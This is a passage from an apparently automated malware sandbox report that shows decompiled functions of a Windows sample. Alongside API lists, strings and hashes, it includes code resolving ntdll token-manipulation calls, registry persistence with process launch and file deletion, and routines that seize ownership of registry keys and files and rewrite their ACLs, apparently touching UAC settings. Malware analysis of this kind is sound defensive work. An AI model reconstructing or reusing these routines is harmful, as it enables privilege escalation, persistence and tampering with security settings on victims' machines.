				_t20 = CreateFileW(E00402508(0x4129f8,  &E0041076C, 0xe, 0xec64, 0x7bac), 0xc0000000, 0, 0, 2, 0x80, 0);
				E0040EE2A(_t22, 0x4129f8, 0, 0x200);
				if(_t20 == 0xffffffff) {
					_t13 = 0;
				} else {
					_t23 = _a8;
					if(_t23 == 0) {
						E00408DF1( &_v12);
						_t23 =  &_v12;
						_a12 = 8;
					}
					_t14 = _a24;
					 *_t14 = 0;
					_t15 = DeviceIoControl(_t20, _a4, _t23, _a12, _a16, _a20, _t14, 0);
					CloseHandle(_t20);
					_t13 = _t15;
				}
				return _t13;
			}

0x00408e26
0x00408e29
0x00408e2a
0x00408e6c
0x00408e6e
0x00408e79
0x00408ebe
0x00408e7b
0x00408e7b
0x00408e80
0x00408e86
0x00408e8c
0x00408e8f
0x00408e8f
0x00408e96
0x00408e9e
0x00408eab
0x00408eb4
0x00408eba
0x00408eba
0x00408ec4

APIs

CreateFileW.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,?,?,?,00000100), ref: 00408E5F
DeviceIoControl.KERNEL32(00000000,?,?,?,?,?,?,00000000), ref: 00408EAB
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00408EB4

Part of subcall function 00408DF1: GetSystemTime.KERNEL32(?,004129F8,?,?,00408E8B,?), ref: 00408DFC
Part of subcall function 00408DF1: SystemTimeToFileTime.KERNEL32(?,00408E8B,?,?,00408E8B,?), ref: 00408E0A

Memory Dump Source

Source File: 00000016.00000002.462611897.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.462639431.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_BE39.jbxd

Yara matches

Similarity

API ID: Time$FileSystem$CloseControlCreateDeviceHandle
String ID:
API String ID: 3754425949-0
Opcode ID: 2cf703b3f3d70fe1d21397a344fcfe55e6ffa78bdc2e74738428da1b6bf63eb9
Instruction ID: 6158522553dbc768b3fa764069f531a078bfca64040c8912efb0c234455cb59d
Opcode Fuzzy Hash: 2cf703b3f3d70fe1d21397a344fcfe55e6ffa78bdc2e74738428da1b6bf63eb9
Instruction Fuzzy Hash: CD11C8726402047BEB115F95CD4EEDB3F6DEB85714F00452AF611B62C1DAB9985087A8

Uniqueness

Uniqueness Score: -1.00%

Function 00649E89, Relevance: 59.9, APIs: 28, Strings: 6, Instructions: 421stringregistryfileCOMMON

Download Yara Rule

APIs

ExitProcess.KERNEL32 ref: 00649E56
lstrcpy.KERNEL32(?,00000000), ref: 00649FCA
lstrcat.KERNEL32(?,?), ref: 00649FDB
lstrcat.KERNEL32(?,0041070C), ref: 00649FED
GetFileAttributesExA.KERNEL32(?,?,?), ref: 0064A03D
DeleteFileA.KERNEL32(?), ref: 0064A088
GetEnvironmentVariableA.KERNEL32(00000000,?,?,?,?,000001F4), ref: 0064A0BF
lstrcpy.KERNEL32 ref: 0064A118
lstrlen.KERNEL32(00000022), ref: 0064A125
GetTempPathA.KERNEL32(000001F4,?), ref: 00649EFC

Part of subcall function 00647012: GetVolumeInformationA.KERNEL32(?,00000000,00000000,00412F0C,00000000,00000000,00000000,00000000), ref: 0064706A

Part of subcall function 00646F19: GetModuleHandleA.KERNEL32(00410380,00410670,00000000,\\.\pipe\ribsjbzf,0064702C), ref: 00646F37
Part of subcall function 00646F19: GetProcAddress.KERNEL32(00000000), ref: 00646F3E
Part of subcall function 00646F19: GetSystemDirectoryA.KERNEL32(C:\Windows\SysWOW64\,00000104), ref: 00646F64
Part of subcall function 00646F19: GetWindowsDirectoryA.KERNEL32(C:\Windows\SysWOW64\,00000104,?,00000000), ref: 00646F7B

RegOpenKeyExA.ADVAPI32(80000001,00000000,?,?,?,00000103,?,?,?,?), ref: 0064A18B
RegSetValueExA.ADVAPI32(?,00000001,?,00000001,?,000001F5,?,?,?,00000103,?,?,?,?), ref: 0064A1AE
GetModuleHandleA.KERNEL32(?,?,00000104,?,?,00000010,?,?,00000044,?,?,?,?,?,?,00000103), ref: 0064A1FD
GetModuleFileNameA.KERNEL32(00000000,?,?,00000104,?,?,00000010,?,?,00000044), ref: 0064A204
GetDriveTypeA.KERNEL32(?), ref: 0064A24E
lstrcat.KERNEL32(?,00000000), ref: 0064A288
lstrcat.KERNEL32(?,00410A34), ref: 0064A2AE
lstrcat.KERNEL32(?,00000022), ref: 0064A2C2
lstrcat.KERNEL32(?,00410A34), ref: 0064A2DD
wsprintfA.USER32 ref: 0064A306
lstrcat.KERNEL32(?,00000000), ref: 0064A32E
lstrcat.KERNEL32(?,?), ref: 0064A34D
CreateProcessA.KERNEL32(?,?,?,?,?,08000000,?,?,?,?,?,?,00000104,?,?,00000010), ref: 0064A370
DeleteFileA.KERNEL32(?,?,?,?,?,?,08000000,?,?,?,?,?,?,00000104,?), ref: 0064A381
RegCloseKey.ADVAPI32(?,?,00000001,?,000001F5,?,?,?,00000103,?,?,?,?), ref: 0064A1BA

Part of subcall function 0064994F: RegOpenKeyExA.ADVAPI32(80000001,00000000), ref: 00649986
Part of subcall function 0064994F: RegDeleteValueA.ADVAPI32(?,00000000), ref: 006499A6
Part of subcall function 0064994F: RegCloseKey.ADVAPI32(?), ref: 006499AF

GetModuleHandleA.KERNEL32(?,?,0000012C), ref: 0064A3C4
GetModuleFileNameA.KERNEL32(00000000,?,?,0000012C), ref: 0064A3CB
GetDriveTypeA.KERNEL32(00000022), ref: 0064A406

Strings

", xrefs: 0064A12B
D, xrefs: 0064A1DE
P, xrefs: 00649FFA
", xrefs: 0064A2C8
", xrefs: 0064A3D9
\, xrefs: 00649F5C

Memory Dump Source

Source File: 00000016.00000002.462794356.0000000000640000.00000040.00000001.sdmp, Offset: 00640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_640000_BE39.jbxd

Yara matches

Similarity

API ID: lstrcat$FileModule$DeleteHandle$CloseDirectoryDriveNameOpenProcessTypeValuelstrcpy$AddressAttributesCreateEnvironmentExitInformationPathProcSystemTempVariableVolumeWindowslstrlenwsprintf
String ID: "$"$"$D$P$\
API String ID: 1653845638-2605685093
Opcode ID: 0c11c2300bf8887d3437573fd553245dec9800ee399a6cc752f87376d7d629c9
Instruction ID: e294e4ea37bc732ca1c6d14f12cc14a125d24631f8cd76aca3dcca775035260e
Opcode Fuzzy Hash: 0c11c2300bf8887d3437573fd553245dec9800ee399a6cc752f87376d7d629c9
Instruction Fuzzy Hash: D0F142B1C80259BFDB11DFA08C49EEF77BDAB08304F0444A9F609E2141E7758A858F65

Uniqueness

Uniqueness Score: -1.00%

Function 00401000, Relevance: 56.2, APIs: 16, Strings: 16, Instructions: 170
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00401000() {
				struct HINSTANCE__* _t2;
				_Unknown_base(*)()* _t3;
				signed int _t4;
				_Unknown_base(*)()* _t6;
				_Unknown_base(*)()* _t7;
				_Unknown_base(*)()* _t8;
				_Unknown_base(*)()* _t10;
				_Unknown_base(*)()* _t11;
				_Unknown_base(*)()* _t12;
				_Unknown_base(*)()* _t14;
				_Unknown_base(*)()* _t15;
				_Unknown_base(*)()* _t16;
				_Unknown_base(*)()* _t18;
				_Unknown_base(*)()* _t19;
				_Unknown_base(*)()* _t20;
				_Unknown_base(*)()* _t22;
				_Unknown_base(*)()* _t23;
				signed int _t34;
				signed int _t35;

				_t2 =  *0x413918;
				_t35 = _t34 | 0xffffffff;
				if(_t2 != 0) {
					L3:
					if( *0x41391c == 0 ||  *0x413920 == 0 ||  *0x413924 == 0 ||  *0x413928 == 0 ||  *0x41392c == 0 ||  *0x413930 == 0 ||  *0x413934 == 0 ||  *0x413938 == 0 ||  *0x41393c == 0 ||  *0x413940 == 0 ||  *0x413944 == 0 ||  *0x413948 == 0 ||  *0x41394c == 0 ||  *0x413950 == 0 ||  *0x413954 == 0) {
						_t3 = GetProcAddress(_t2, "RtlExpandEnvironmentStrings_U");
						 *0x41391c = _t3;
						if(_t3 == 0) {
							L34:
							_t4 = _t35;
						} else {
							_t35 = 0xfffffffe;
							_t6 = GetProcAddress( *0x413918, "RtlSetLastWin32Error");
							 *0x413920 = _t6;
							if(_t6 == 0) {
								goto L34;
							} else {
								_t35 = 0xfffffffd;
								_t7 = GetProcAddress( *0x413918, "NtTerminateProcess");
								 *0x413924 = _t7;
								if(_t7 == 0) {
									goto L34;
								} else {
									_t35 = 0xfffffffc;
									_t8 = GetProcAddress( *0x413918, "RtlFreeSid");
									 *0x413928 = _t8;
									if(_t8 == 0) {
										goto L34;
									} else {
										_t35 = 0xfffffffb;
										_t10 = GetProcAddress( *0x413918, "RtlInitUnicodeString");
										 *0x41392c = _t10;
										if(_t10 == 0) {
											goto L34;
										} else {
											_t35 = 0xfffffffa;
											_t11 = GetProcAddress( *0x413918, "NtSetInformationThread");
											 *0x413930 = _t11;
											if(_t11 == 0) {
												goto L34;
											} else {
												_t35 = 0xfffffff9;
												_t12 = GetProcAddress( *0x413918, "NtSetInformationToken");
												 *0x413934 = _t12;
												if(_t12 == 0) {
													goto L34;
												} else {
													_t35 = 0xfffffff8;
													_t14 = GetProcAddress( *0x413918, "RtlNtStatusToDosError");
													 *0x413938 = _t14;
													if(_t14 == 0) {
														goto L34;
													} else {
														_t35 = 0xfffffff7;
														_t15 = GetProcAddress( *0x413918, "NtClose");
														 *0x41393c = _t15;
														if(_t15 == 0) {
															goto L34;
														} else {
															_t35 = 0xfffffff6;
															_t16 = GetProcAddress( *0x413918, "NtOpenProcessToken");
															 *0x413940 = _t16;
															if(_t16 == 0) {
																goto L34;
															} else {
																_t35 = 0xfffffff5;
																_t18 = GetProcAddress( *0x413918, "NtDuplicateToken");
																 *0x413944 = _t18;
																if(_t18 == 0) {
																	goto L34;
																} else {
																	_t35 = 0xfffffff4;
																	_t19 = GetProcAddress( *0x413918, "RtlAllocateAndInitializeSid");
																	 *0x413948 = _t19;
																	if(_t19 == 0) {
																		goto L34;
																	} else {
																		_t35 = 0xfffffff3;
																		_t20 = GetProcAddress( *0x413918, "NtFilterToken");
																		 *0x41394c = _t20;
																		if(_t20 == 0) {
																			goto L34;
																		} else {
																			_t35 = 0xfffffff2;
																			_t22 = GetProcAddress( *0x413918, "RtlLengthSid");
																			 *0x413950 = _t22;
																			if(_t22 == 0) {
																				goto L34;
																			} else {
																				_t35 = 0xfffffff1;
																				_t23 = GetProcAddress( *0x413918, "NtQueryInformationToken");
																				 *0x413954 = _t23;
																				_t1 = _t35 + 0x10; // 0x100000001
																				_t4 = _t1;
																				if(_t23 == 0) {
																					goto L34;
																				}
																			}
																		}
																	}
																}
															}
														}
													}
												}
											}
										}
									}
								}
							}
						}
						return _t4;
					} else {
						return 1;
					}
				} else {
					_t2 = LoadLibraryA("ntdll.dll");
					 *0x413918 = _t2;
					if(_t2 != 0) {
						goto L3;
					} else {
						return _t2;
					}
				}
			}

0x00401000
0x00401006
0x0040100b
0x00401023
0x0040102a
0x004010c2
0x004010c4
0x004010cb
0x0040127b
0x0040127b
0x004010d1
0x004010dc
0x004010e1
0x004010e3
0x004010ea
0x00000000
0x004010f0
0x004010fc
0x00401101
0x00401103
0x0040110a
0x00000000
0x00401110
0x0040111c
0x00401121
0x00401123
0x0040112a
0x00000000
0x00401130
0x0040113b
0x00401140
0x00401142
0x00401149
0x00000000
0x0040114f
0x0040115b
0x00401160
0x00401162
0x00401169
0x00000000
0x0040116f
0x0040117b
0x00401180
0x00401182
0x00401189
0x00000000
0x0040118f
0x0040119a
0x0040119f
0x004011a1
0x004011a8
0x00000000
0x004011ae
0x004011ba
0x004011bf
0x004011c1
0x004011c8
0x00000000
0x004011ce
0x004011da
0x004011df
0x004011e1
0x004011e8
0x00000000
0x004011ee
0x004011f9
0x004011fe
0x00401200
0x00401207
0x00000000
0x00401209
0x00401215
0x0040121a
0x0040121c
0x00401223
0x00000000
0x00401225
0x00401231
0x00401236
0x00401238
0x0040123f
0x00000000
0x00401241
0x0040124c
0x00401251
0x00401253
0x0040125a
0x00000000
0x0040125c
0x00401268
0x0040126d
0x0040126f
0x00401276
0x00401276
0x00401279
0x00000000
0x00000000
0x00401279
0x0040125a
0x0040123f
0x00401223
0x00401207
0x004011e8
0x004011c8
0x004011a8
0x00401189
0x00401169
0x00401149
0x0040112a
0x0040110a
0x004010ea
0x0040127f
0x004010ae
0x004010b4
0x004010b4
0x0040100d
0x00401012
0x00401018
0x0040101f
0x00000000
0x00401022
0x00401022
0x00401022
0x0040101f

APIs

LoadLibraryA.KERNEL32(ntdll.dll,00000000,00401839,00409646), ref: 00401012
GetProcAddress.KERNEL32(?,RtlExpandEnvironmentStrings_U,00000000,00000000,00401839,00409646), ref: 004010C2
GetProcAddress.KERNEL32(?,RtlSetLastWin32Error), ref: 004010E1
GetProcAddress.KERNEL32(?,NtTerminateProcess), ref: 00401101
GetProcAddress.KERNEL32(?,RtlFreeSid), ref: 00401121
GetProcAddress.KERNEL32(?,RtlInitUnicodeString), ref: 00401140
GetProcAddress.KERNEL32(?,NtSetInformationThread), ref: 00401160
GetProcAddress.KERNEL32(?,NtSetInformationToken), ref: 00401180
GetProcAddress.KERNEL32(?,RtlNtStatusToDosError), ref: 0040119F
GetProcAddress.KERNEL32(?,NtClose), ref: 004011BF
GetProcAddress.KERNEL32(?,NtOpenProcessToken), ref: 004011DF
GetProcAddress.KERNEL32(?,NtDuplicateToken), ref: 004011FE
GetProcAddress.KERNEL32(?,RtlAllocateAndInitializeSid), ref: 0040121A

Strings

NtQueryInformationToken, xrefs: 00401262
RtlFreeSid, xrefs: 00401116
NtClose, xrefs: 004011B4
NtTerminateProcess, xrefs: 004010F6
RtlInitUnicodeString, xrefs: 00401135
RtlExpandEnvironmentStrings_U, xrefs: 004010BC
NtSetInformationToken, xrefs: 00401175
NtFilterToken, xrefs: 0040122B
NtDuplicateToken, xrefs: 004011F3
RtlLengthSid, xrefs: 00401246
RtlNtStatusToDosError, xrefs: 00401194
RtlAllocateAndInitializeSid, xrefs: 0040120F
RtlSetLastWin32Error, xrefs: 004010D6
ntdll.dll, xrefs: 0040100D
NtSetInformationThread, xrefs: 00401155
NtOpenProcessToken, xrefs: 004011D4

Memory Dump Source

Source File: 00000016.00000002.462611897.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.462639431.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_BE39.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtClose$NtDuplicateToken$NtFilterToken$NtOpenProcessToken$NtQueryInformationToken$NtSetInformationThread$NtSetInformationToken$NtTerminateProcess$RtlAllocateAndInitializeSid$RtlExpandEnvironmentStrings_U$RtlFreeSid$RtlInitUnicodeString$RtlLengthSid$RtlNtStatusToDosError$RtlSetLastWin32Error$ntdll.dll
API String ID: 2238633743-3228201535
Opcode ID: 099c329b46637f9171a1ca57a4c5e0107e32006a0b8f6d8903d04b45664d461e
Instruction ID: c8dd2db2df3f08e17c6117e54d1286841a2c4197db930f8a9693796d5e259140
Opcode Fuzzy Hash: 099c329b46637f9171a1ca57a4c5e0107e32006a0b8f6d8903d04b45664d461e
Instruction Fuzzy Hash: 2F5100B1662641A6D7118F69EC84BD23AE86748372F14837B9520F62F0D7F8CAC1CB5D

Uniqueness

Uniqueness Score: -1.00%

Function 0042C5BE, Relevance: 51.2, APIs: 24, Strings: 5, Instructions: 431COMMON

Download Yara Rule

APIs

__invoke_watson_if_error.LIBCMTD ref: 0042C602
_wcscat_s.LIBCMTD ref: 0042C81A

Part of subcall function 004323A0: __invalid_parameter.LIBCMTD ref: 00432412

__invoke_watson_if_error.LIBCMTD ref: 0042C823

Part of subcall function 0041E230: __invoke_watson.LIBCMTD ref: 0041E251

_wcscat_s.LIBCMTD ref: 0042C852

Part of subcall function 004323A0: _memset.LIBCMT ref: 0043247B
Part of subcall function 004323A0: __invalid_parameter.LIBCMTD ref: 004324D7

__invoke_watson_if_error.LIBCMTD ref: 0042C85B
__invoke_watson_if_oneof.LIBCMTD ref: 0042C8ED
_wcscpy_s.LIBCMTD ref: 0042C932
__invoke_watson_if_error.LIBCMTD ref: 0042C93B
__cftoe.LIBCMTD ref: 0042C9AF
__invoke_watson_if_oneof.LIBCMTD ref: 0042C9DE
_wcscpy_s.LIBCMTD ref: 0042CA16
__invoke_watson_if_error.LIBCMTD ref: 0042CA1F
__itow_s.LIBCMTD ref: 0042C5F9

Part of subcall function 00437010: _xtow_s@20.LIBCMTD ref: 0043703B

__strftime_l.LIBCMTD ref: 0042C6B9
__invoke_watson_if_oneof.LIBCMTD ref: 0042C6F2
_wcscpy_s.LIBCMTD ref: 0042C737
__invoke_watson_if_error.LIBCMTD ref: 0042C740
_wcscpy_s.LIBCMTD ref: 0042C793
__invoke_watson_if_error.LIBCMTD ref: 0042C79C
_wcscat_s.LIBCMTD ref: 0042C7CD
__invoke_watson_if_error.LIBCMTD ref: 0042C7D6

Strings

h`b@, xrefs: 0042C9C9
h`b@, xrefs: 0042C7B0
t9j, xrefs: 0042CC45
t8j, xrefs: 0042C9ED
hh^@, xrefs: 0042C9CE

Memory Dump Source

Source File: 00000016.00000002.462651075.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_415000_BE39.jbxd

Similarity

API ID: __invoke_watson_if_error$_wcscpy_s$__invoke_watson_if_oneof_wcscat_s$__invalid_parameter$__cftoe__invoke_watson__itow_s__strftime_l_memset_xtow_s@20
String ID: h`b@$h`b@$hh^@$t8j$t9j
API String ID: 2916338978-2251402083
Opcode ID: e9563a12af7b412c589cfc8a333d01ae37adbf88d8223ec41871a9eb37a362df
Instruction ID: 5aa72eefb98abf20bc0193d3fa6b6a6975c696fb0317241db2eb6ad188ae323d
Opcode Fuzzy Hash: e9563a12af7b412c589cfc8a333d01ae37adbf88d8223ec41871a9eb37a362df
Instruction Fuzzy Hash: E50291B4A40718AADB20DF51EC4AFDF7778AB04705F5040AAF6097A2C1D7BC5A84CF99

Uniqueness

Uniqueness Score: -1.00%

Function 0040B211, Relevance: 47.4, APIs: 7, Strings: 20, Instructions: 131
timeCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E0040B211(FILETIME* _a4, CHAR* _a8, signed int _a12) {
				struct _FILETIME _v12;
				struct _SYSTEMTIME _v28;
				CHAR* _v32;
				CHAR* _v36;
				CHAR* _v40;
				CHAR* _v44;
				CHAR* _v48;
				CHAR* _v52;
				CHAR* _v56;
				CHAR* _v60;
				CHAR* _v64;
				CHAR* _v68;
				CHAR* _v72;
				CHAR* _v76;
				CHAR* _v80;
				CHAR* _v84;
				CHAR* _v88;
				CHAR* _v92;
				CHAR* _v96;
				CHAR* _v100;
				CHAR* _v104;
				struct _TIME_ZONE_INFORMATION _v276;
				long _t77;
				signed int _t80;
				signed int _t93;
				signed int _t101;
				signed int _t102;
				CHAR* _t103;
				signed int _t104;
				signed short _t106;
				signed short _t109;
				signed int _t114;
				signed int _t115;
				void* _t117;

				_v56 = "Sun";
				_v52 = "Mon";
				_v48 = "Tue";
				_v44 = "Wed";
				_v40 = "Thu";
				_v36 = "Fri";
				_v32 = "Sat";
				_v104 = "Jan";
				_v100 = "Feb";
				_v96 = "Mar";
				_v92 = "Apr";
				_v88 = "May";
				_v84 = "Jun";
				_v80 = "Jul";
				_v76 = "Aug";
				_v72 = "Sep";
				_v68 = "Oct";
				_v64 = "Nov";
				_v60 = "Dec";
				if(_a4 != 0) {
					FileTimeToLocalFileTime(_a4,  &_v12);
					FileTimeToSystemTime( &_v12,  &_v28);
				} else {
					GetLocalTime( &_v28);
				}
				_t114 = _a12;
				if(_t114 != 0) {
					SystemTimeToFileTime( &_v28,  &_v12);
					_t93 = E0040ECA5();
					if(_t114 <= 0) {
						_t104 = _t93 %  ~_t114 * 0x23c34600;
						_v12.dwLowDateTime = _v12.dwLowDateTime - _t104;
						asm("sbb [ebp-0x4], ebx");
					} else {
						_t104 = _t93 % _t114 * 0x23c34600;
						_v12.dwLowDateTime = _v12.dwLowDateTime + _t104;
						asm("adc [ebp-0x4], ebx");
					}
					FileTimeToSystemTime( &_v12,  &_v28);
				}
				_v276.Bias = 0;
				_t77 = GetTimeZoneInformation( &_v276);
				_t101 = _v276.Bias;
				if(_t77 == 2) {
					_t101 = _t101 + _v276.DaylightBias;
				}
				_t102 =  ~_t101;
				asm("cdq");
				_t80 = (_t102 ^ _t104) - _t104;
				if(_v28.wDayOfWeek > 6) {
					_t109 = 6;
					_v28.wDayOfWeek = _t109;
				}
				if(_v28.wMonth == 0) {
					_v28.wMonth = 1;
				}
				if(_v28.wMonth > 0xc) {
					_t106 = 0xc;
					_v28.wMonth = _t106;
				}
				_t103 = "+";
				if(_t102 < 0) {
					_t103 = "-";
				}
				_t115 = 0x3c;
				asm("cdq");
				return wsprintfA(_a8, "%s, %u %s %u %.2u:%.2u:%.2u %s%.2u%.2u",  *((intOrPtr*)(_t117 + (_v28.wDayOfWeek & 0x0000ffff) * 4 - 0x34)), _v28.wDay & 0x0000ffff,  *((intOrPtr*)(_t117 + (_v28.wMonth & 0x0000ffff) * 4 - 0x68)), _v28.wYear & 0x0000ffff, _v28.wHour & 0x0000ffff, _v28.wMinute & 0x0000ffff, _v28.wSecond & 0x0000ffff, _t103, _t80 / _t115, _t80 % _t115);
			}

0x0040b225
0x0040b22c
0x0040b233
0x0040b23a
0x0040b241
0x0040b248
0x0040b24f
0x0040b256
0x0040b25d
0x0040b264
0x0040b26b
0x0040b272
0x0040b279
0x0040b280
0x0040b287
0x0040b28e
0x0040b295
0x0040b29c
0x0040b2a3
0x0040b2ad
0x0040b2c2
0x0040b2d0
0x0040b2af
0x0040b2b3
0x0040b2b3
0x0040b2d2
0x0040b2d7
0x0040b2e1
0x0040b2e7
0x0040b2f0
0x0040b306
0x0040b30c
0x0040b30f
0x0040b2f2
0x0040b2f4
0x0040b2fa
0x0040b2fd
0x0040b2fd
0x0040b31a
0x0040b31a
0x0040b323
0x0040b329
0x0040b32f
0x0040b338
0x0040b33a
0x0040b33a
0x0040b33d
0x0040b341
0x0040b344
0x0040b34b
0x0040b34f
0x0040b350
0x0040b350
0x0040b358
0x0040b35d
0x0040b35d
0x0040b366
0x0040b36a
0x0040b36b
0x0040b36b
0x0040b371
0x0040b376
0x0040b378
0x0040b378
0x0040b37f
0x0040b380
0x0040b3c4

APIs

GetLocalTime.KERNEL32(0003E800,?,0003E800,00000000), ref: 0040B2B3
FileTimeToLocalFileTime.KERNEL32(00000000,00000000,?,0003E800,00000000), ref: 0040B2C2
FileTimeToSystemTime.KERNEL32(00000000,0003E800), ref: 0040B2D0
SystemTimeToFileTime.KERNEL32(0003E800,00000000), ref: 0040B2E1
FileTimeToSystemTime.KERNEL32(00000000,0003E800), ref: 0040B31A
GetTimeZoneInformation.KERNEL32(?), ref: 0040B329
wsprintfA.USER32 ref: 0040B3B7

Strings

Nov, xrefs: 0040B29C
Wed, xrefs: 0040B23A
Sat, xrefs: 0040B24F
Tue, xrefs: 0040B233
Fri, xrefs: 0040B248
Feb, xrefs: 0040B25D
Thu, xrefs: 0040B241
Aug, xrefs: 0040B287
May, xrefs: 0040B272
Apr, xrefs: 0040B26B
Sep, xrefs: 0040B28E
Sun, xrefs: 0040B225
Oct, xrefs: 0040B295
Mar, xrefs: 0040B264
Dec, xrefs: 0040B2A3
Jan, xrefs: 0040B256
Jun, xrefs: 0040B279
Mon, xrefs: 0040B22C
Jul, xrefs: 0040B280
%s, %u %s %u %.2u:%.2u:%.2u %s%.2u%.2u, xrefs: 0040B3AF

Memory Dump Source

Source File: 00000016.00000002.462611897.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.462639431.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_BE39.jbxd

Yara matches

Similarity

API ID: Time$File$System$Local$InformationZonewsprintf
String ID: %s, %u %s %u %.2u:%.2u:%.2u %s%.2u%.2u$Apr$Aug$Dec$Feb$Fri$Jan$Jul$Jun$Mar$May$Mon$Nov$Oct$Sat$Sep$Sun$Thu$Tue$Wed
API String ID: 766114626-2976066047
Opcode ID: fbb2cc535003bdd2a03704f06e43c86ec17b275768f9954b8d174276db173d5b
Instruction ID: 3cccae2c5b68faf9d5e65ebc3321ef0303f497beb4f825406ae493c25d793f5b
Opcode Fuzzy Hash: fbb2cc535003bdd2a03704f06e43c86ec17b275768f9954b8d174276db173d5b
Instruction Fuzzy Hash: D8510EB1D0021CAADF18DFD5D8495EEBBB9EF48304F10856BE501B6250E7B84AC9CF98

Uniqueness

Uniqueness Score: -1.00%

Function 00647CE5, Relevance: 45.8, APIs: 24, Strings: 2, Instructions: 269registrymemoryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(?,?,00000000,000E0100,?), ref: 00647D0A
GetUserNameA.ADVAPI32(?,?), ref: 00647D2F
LookupAccountNameA.ADVAPI32(00000000,?,?,?,?,?,?), ref: 00647D66
RegGetKeySecurity.ADVAPI32(?,00000005,?,?), ref: 00647D8B
GetSecurityDescriptorOwner.ADVAPI32(?,?,?), ref: 00647DA9
EqualSid.ADVAPI32(?,?), ref: 00647DBA
LocalAlloc.KERNEL32(00000040,00000014), ref: 00647DCE
InitializeSecurityDescriptor.ADVAPI32(00000000,00000001), ref: 00647DDC
SetSecurityDescriptorOwner.ADVAPI32(00000000,?,00000000), ref: 00647DEC
RegSetKeySecurity.ADVAPI32(?,00000001,00000000), ref: 00647DFB
LocalFree.KERNEL32(00000000), ref: 00647E02
GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 00647E1E

Strings

D, xrefs: 00647D5C
PromptOnSecureDesktop, xrefs: 00647F89

Memory Dump Source

Source File: 00000016.00000002.462794356.0000000000640000.00000040.00000001.sdmp, Offset: 00640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_640000_BE39.jbxd

Yara matches

Similarity

API ID: Security$Descriptor$LocalNameOwner$AccountAllocDaclEqualFreeInitializeLookupOpenUser
String ID: D$PromptOnSecureDesktop
API String ID: 2976863881-1403908072
Opcode ID: 1a53823342927d1e4650e54f1beed8d9b04cc787a6d03e02cd47dd5285ddf864
Instruction ID: a06437950345d9108527acca811465520d89785ac067347e75fb1e30a5d6a4f9
Opcode Fuzzy Hash: 1a53823342927d1e4650e54f1beed8d9b04cc787a6d03e02cd47dd5285ddf864
Instruction Fuzzy Hash: 2DA14F71904219AFDF118FA0DD88FEFBBBAFB48300F14816AF505E6250DB759A85CB64

Uniqueness

Uniqueness Score: -1.00%

Function 00647A59, Relevance: 38.7, APIs: 21, Strings: 1, Instructions: 226memoryCOMMON

Download Yara Rule

APIs

GetUserNameA.ADVAPI32(?,?), ref: 00647A7F
LookupAccountNameA.ADVAPI32(00000000,?,?,?,?,?,?), ref: 00647AB6
GetLengthSid.ADVAPI32(?), ref: 00647AC8
GetFileSecurityA.ADVAPI32(?,00000005,?,00000400,?), ref: 00647AEA
GetSecurityDescriptorOwner.ADVAPI32(?,?,?), ref: 00647B08
EqualSid.ADVAPI32(?,?), ref: 00647B22
LocalAlloc.KERNEL32(00000040,00000014), ref: 00647B33
InitializeSecurityDescriptor.ADVAPI32(00000000,00000001), ref: 00647B41
SetSecurityDescriptorOwner.ADVAPI32(00000000,?,00000000), ref: 00647B51
SetFileSecurityA.ADVAPI32(?,00000001,00000000), ref: 00647B60
LocalFree.KERNEL32(00000000), ref: 00647B67
GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 00647B83
GetAce.ADVAPI32(?,?,?), ref: 00647BB3
EqualSid.ADVAPI32(?,?), ref: 00647BDA
DeleteAce.ADVAPI32(?,?), ref: 00647BF3
EqualSid.ADVAPI32(?,?), ref: 00647C15
LocalAlloc.KERNEL32(00000040,00000014), ref: 00647C9A
InitializeSecurityDescriptor.ADVAPI32(00000000,00000001), ref: 00647CA8
SetSecurityDescriptorDacl.ADVAPI32(00000000,00000001,?,00000000), ref: 00647CB9
SetFileSecurityA.ADVAPI32(?,00000004,00000000), ref: 00647CC9
LocalFree.KERNEL32(00000000), ref: 00647CD7

Strings

D, xrefs: 00647AAC

Memory Dump Source

Source File: 00000016.00000002.462794356.0000000000640000.00000040.00000001.sdmp, Offset: 00640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_640000_BE39.jbxd

Yara matches

Similarity

API ID: Security$Descriptor$Local$EqualFile$AllocDaclFreeInitializeNameOwner$AccountDeleteLengthLookupUser
String ID: D
API String ID: 3722657555-2746444292
Opcode ID: bb30bf074c347c8653546d93d28bb934471e976575b6637e302f0e375d0d0c6d
Instruction ID: bc1e20e61f0f7f88a0f87d84c9acee18fadd64ea8f5393ef8a6b6b44e606d616
Opcode Fuzzy Hash: bb30bf074c347c8653546d93d28bb934471e976575b6637e302f0e375d0d0c6d
Instruction Fuzzy Hash: 89814E71D0421EAFDB21DFA4DD84FEEBBB9EF08340F14806AE505E6250D7759A41CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 00402A62, Relevance: 33.4, APIs: 18, Strings: 1, Instructions: 194
networkmemoryCOMMON

Download Yara Rule

C-Code - Quality: 53%

			E00402A62(void* __ecx, intOrPtr* _a12) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr* _v44;
				signed short _v272;
				char _v276;
				long _v280;
				char _v284;
				signed short _v288;
				signed short _v292;
				long _v300;
				long _v304;
				intOrPtr _v308;
				signed short _v324;
